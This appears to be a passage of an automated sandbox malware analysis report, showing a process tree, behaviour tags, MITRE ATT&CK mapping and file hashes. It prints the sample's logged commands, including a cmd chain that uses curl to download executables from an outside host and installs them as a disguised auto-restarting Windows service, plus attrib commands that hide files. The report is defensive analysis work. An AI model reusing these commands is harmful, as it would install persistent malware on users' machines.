C:\Windows\SysWOW64\attrib.exeattrib "C:\Users\Admin\AppData\Local" +s +h6⤵
- Sets file to hidden
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
PID:5028
-
-
-
C:\Users\Admin\AppData\Local\Temp\MSDCSC\msdcsc.exe"C:\Users\Admin\AppData\Local\Temp\MSDCSC\msdcsc.exe"5⤵
- Modifies WinLogon for persistence
- Modifies firewall policy service
- Modifies security service
- Windows security bypass
- Disables RegEdit via registry modification
- Executes dropped EXE
- Windows security modification
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3136 -
C:\Windows\SysWOW64\notepad.exenotepad6⤵
- System Location Discovery: System Language Discovery
PID:3164
-
-
C:\Windows\SysWOW64\notepad.exenotepad6⤵
- System Location Discovery: System Language Discovery
PID:2968
-
-
-
-
C:\Windows\SysWOW64\timeout.exetimeout 54⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:4876
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c cmd /c "del C:\Windows\IntelGpuUpdater.exe && del C:\Windows\IntelGpuUpdaterHelper.exe && curl https://dontuseme.ct8.pl/test.exe > C:\Windows\IntelGpuUpdater.exe && curl https://dontuseme.ct8.pl/nssm.exe > C:\Windows\IntelGpuUpdaterHelper.exe && C:\Windows\IntelGpuUpdaterHelper.exe install IntelGpuUpdater C:\Windows\IntelGpuUpdater.exe && cmd /c sc start IntelGpuUpdater && cmd /c sc failure IntelGpuUpdater reset= 0 actions= restart/5000/restart/5000/restart/5000"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1076 -
C:\Windows\SysWOW64\cmd.execmd /c "del C:\Windows\IntelGpuUpdater.exe && del C:\Windows\IntelGpuUpdaterHelper.exe && curl https://dontuseme.ct8.pl/test.exe > C:\Windows\IntelGpuUpdater.exe && curl https://dontuseme.ct8.pl/nssm.exe > C:\Windows\IntelGpuUpdaterHelper.exe && C:\Windows\IntelGpuUpdaterHelper.exe install IntelGpuUpdater C:\Windows\IntelGpuUpdater.exe && cmd /c sc start IntelGpuUpdater && cmd /c sc failure IntelGpuUpdater reset= 0 actions= restart/5000/restart/5000/restart/5000"3⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:1264 -
C:\Windows\SysWOW64\curl.execurl https://dontuseme.ct8.pl/test.exe4⤵
- System Location Discovery: System Language Discovery
PID:3412
-
-
C:\Windows\SysWOW64\curl.execurl https://dontuseme.ct8.pl/nssm.exe4⤵
- System Location Discovery: System Language Discovery
PID:2712
-
-
C:\Windows\IntelGpuUpdaterHelper.exeC:\Windows\IntelGpuUpdaterHelper.exe install IntelGpuUpdater C:\Windows\IntelGpuUpdater.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4020
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc start IntelGpuUpdater4⤵
- System Location Discovery: System Language Discovery
PID:1624 -
C:\Windows\SysWOW64\sc.exesc start IntelGpuUpdater5⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:8
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc failure IntelGpuUpdater reset= 0 actions= restart/5000/restart/5000/restart/50004⤵
- System Location Discovery: System Language Discovery
PID:4752 -
C:\Windows\SysWOW64\sc.exesc failure IntelGpuUpdater reset= 0 actions= restart/5000/restart/5000/restart/50005⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2212
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c pause2⤵
- System Location Discovery: System Language Discovery
PID:788
-
-
C:\Windows\IntelGpuUpdaterHelper.exeC:\Windows\IntelGpuUpdaterHelper.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2576 -
C:\Windows\IntelGpuUpdater.exe"C:\Windows\IntelGpuUpdater.exe"2⤵
- Modifies WinLogon for persistence
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2552 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k attrib "C:\Windows\IntelGpuUpdater.exe" +s +h3⤵
- System Location Discovery: System Language Discovery
PID:2188 -
C:\Windows\SysWOW64\attrib.exeattrib "C:\Windows\IntelGpuUpdater.exe" +s +h4⤵
- Sets file to hidden
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
PID:2124
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k attrib "C:\Windows" +s +h3⤵
- System Location Discovery: System Language Discovery
PID:1968 -
C:\Windows\SysWOW64\attrib.exeattrib "C:\Windows" +s +h4⤵
- Sets file to hidden
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
PID:3548
-
-
-
C:\Windows\TEMP\MSDCSC\msdcsc.exe"C:\Windows\TEMP\MSDCSC\msdcsc.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5116 -
C:\Windows\notepad.exenotepad4⤵
- Modifies data under HKEY_USERS
PID:2588
-
-
-
-
C:\Windows\IntelGpuUpdater.exe"C:\Windows\IntelGpuUpdater.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:1852 -
C:\Windows\notepad.exenotepad3⤵PID:1148
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe3⤵
- System Location Discovery: System Language Discovery
PID:4080 -
C:\Windows\SysWOW64\sc.exesc delete IntelGpuUpdater4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3416
-
-
C:\Windows\SysWOW64\sc.exesc stop IntelGpuUpdater4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2852
-
-
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
3Windows Service
3Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
3Windows Service
3Defense Evasion
Hide Artifacts
2Hidden Files and Directories
2Impair Defenses
4Disable or Modify System Firewall
1Disable or Modify Tools
2Modify Registry
7Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
251KB
MD559a062d42753c520fa5531b312edafbd
SHA1cccbea6327b6fb94c3874981531074edea20c776
SHA256d616881a05c6d49f93d5a1997bd98c13991c1cc8ee2c3a2c05749ce12288cc8e
SHA5125f9a9db8672d89880535c5e5d8f50f0a3b750c246ef900cbaffd9e29abd90c8c84832c269bbf6923c27526432ce3997fd3457e2b691f31eef356f65eec669032
-
Filesize
256KB
MD5c721739bd54dd9beb16909f6807b73c5
SHA15ec54658246914144293357f302e68bf9972fb71
SHA2567376ce1eefd786d30efbecb716a13e9d23d27cfc362ce1bbc2fbebdf4fbf54ea
SHA5120800c5f0425237219d7d34654cc021b8b8aa1fce1545ba9815c7be12a623edb08a098fd4de40ccc867487639647cb7f316316464a3a0bdb0650fdd2852408b4e